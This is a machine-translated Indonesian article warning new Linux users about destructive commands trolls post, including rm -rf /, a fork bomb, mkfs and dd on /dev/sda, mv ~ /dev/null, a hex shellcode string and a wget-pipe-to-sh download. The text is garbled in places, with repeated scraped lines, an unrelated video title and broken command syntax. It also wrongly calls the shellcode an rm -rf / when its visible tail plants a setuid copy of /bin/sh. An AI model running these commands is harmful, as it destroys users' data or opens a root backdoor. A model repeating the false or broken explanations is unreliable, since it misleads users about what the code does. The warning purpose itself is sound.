8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux

Daftar Isi:

8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux
8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux

Video: 8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux

Video: 8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux
Video: Cara Mengganti, Membuat dan Menghapus Akun Microsoft pada Windows 11 (terbaru) - YouTube 2024, April
Anonim
Perintah terminal Linux sangat kuat, dan Linux tidak akan meminta Anda untuk konfirmasi jika Anda menjalankan perintah yang akan merusak sistem Anda. Tidak jarang melihat troll online merekomendasikan pengguna Linux baru menjalankan perintah ini sebagai lelucon.
Perintah terminal Linux sangat kuat, dan Linux tidak akan meminta Anda untuk konfirmasi jika Anda menjalankan perintah yang akan merusak sistem Anda. Tidak jarang melihat troll online merekomendasikan pengguna Linux baru menjalankan perintah ini sebagai lelucon.

Mempelajari perintah yang seharusnya tidak Anda jalankan dapat membantu melindungi Anda dari troll sambil meningkatkan pemahaman Anda tentang cara kerja Linux. Ini bukan panduan lengkap, dan perintah di sini dapat diremix dengan berbagai cara.

Perhatikan bahwa banyak dari perintah ini hanya akan berbahaya jika mereka diawali dengan sudo di Ubuntu - mereka tidak akan berfungsi sebaliknya. Pada distribusi Linux lainnya, sebagian besar perintah harus dijalankan sebagai root.

rm -rf / - Menghapus Semuanya!

Perintah rm -rf / menghapus semua yang mungkin, termasuk file di hard drive dan file di perangkat media lepasan yang terhubung. Perintah ini lebih bisa dimengerti jika dipecah:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux dengan senang hati akan mematuhi perintah ini dan menghapus semuanya tanpa meminta Anda, jadi berhati-hatilah saat menggunakannya! Perintah rm juga dapat digunakan dengan cara berbahaya lainnya - rm –rf ~ akan menghapus semua file di folder rumah Anda, sementara rm -rf. * akan menghapus semua file konfigurasi Anda.

Pelajaran: Hati-hati rm -rf.

Rm -rf terselubung /

Berikut ini cuplikan kode lain yang ada di seluruh web:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ini adalah versi hex dari rm –rf / mengeksekusi perintah ini akan menghapus file Anda seperti jika Anda menjalankan rm –rf /.

Pelajaran: Jangan menjalankan perintah yang tampak aneh, yang jelas-jelas disamarkan yang tidak Anda pahami.

: () {: |: &};: - Fork Bomb

Baris berikut adalah fungsi bash yang tampak sederhana, tetapi berbahaya:

:(){:|: &};:

Baris pendek ini mendefinisikan fungsi shell yang membuat salinan baru dari dirinya sendiri. Proses ini terus mereplikasi dirinya sendiri, dan salinannya terus mereplikasi diri mereka, dengan cepat menggunakan semua waktu dan memori CPU Anda. Ini dapat menyebabkan komputer Anda membeku. Pada dasarnya ini adalah serangan penolakan layanan.

Pelajaran: Fungsi Bash sangat kuat, bahkan sangat singkat.

Image
Image

mkfs.ext4 / dev / sda1 - Memformat Hard Drive

Itu mkfs.ext4 / dev / sda1perintahnya mudah dimengerti:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Secara bersama-sama, perintah ini dapat setara dengan menjalankan format c: pada Windows - perintah ini akan menghapus file pada partisi pertama Anda dan menggantinya dengan sistem file baru.

Perintah ini bisa datang dalam bentuk lain juga - mkfs.ext3 / dev / sdb2 akan memformat partisi kedua pada hard drive kedua dengan sistem file ext3.

Pelajaran: Hati-hati menjalankan perintah langsung pada perangkat hard disk yang dimulai dengan / dev / sd.

perintah> / dev / sda - Menulis Langsung ke Hard Drive

Itu perintah> / dev / sda baris bekerja sama - menjalankan perintah dan mengirim output dari perintah itu langsung ke hard drive pertama Anda, menulis data langsung ke hard disk drive dan merusak sistem file Anda.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Pelajaran: Seperti di atas, berhati-hatilah menjalankan perintah yang melibatkan perangkat hard disk yang dimulai dengan / dev / sd.

dd if = / dev / random = / dev / sda - Menulis Sampah Ke Hard Drive

Itu dd if = / dev / random = / dev / sda garis juga akan menghapus data pada salah satu hard drive Anda.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Pelajaran: dd menyalin data dari satu lokasi ke lokasi lain, yang dapat berbahaya jika Anda menyalin langsung ke perangkat.

Image
Image

mv ~ / dev / null - Memindahkan Direktori Rumah Anda ke Lubang Hitam

/ dev / null adalah lokasi khusus lainnya - memindahkan sesuatu ke / dev / null adalah sama dengan menghancurkannya. Pikirkan / dev / null sebagai lubang hitam. Intinya, mv ~ / dev / null mengirim semua file pribadi Anda ke dalam lubang hitam.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Pelajaran: Karakter ~ mewakili folder home Anda dan memindahkan hal-hal ke / dev / null menghancurkannya.

wget https://example.com/something -O - | sh - Unduh dan Menjalankan Script

Baris di atas mengunduh skrip dari web dan mengirimnya ke sh, yang mengeksekusi konten skrip. Ini bisa berbahaya jika Anda tidak yakin apa scriptnya atau jika Anda tidak mempercayai sumbernya - jangan menjalankan skrip yang tidak tepercaya.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Pelajaran: Jangan unduh dan jalankan skrip tidak tepercaya dari web, bahkan dengan perintah.

Ketahui perintah berbahaya lainnya yang seharusnya tidak dijalankan pengguna Linux baru (dan berpengalaman)? Tinggalkan komentar dan bagikan!

Direkomendasikan: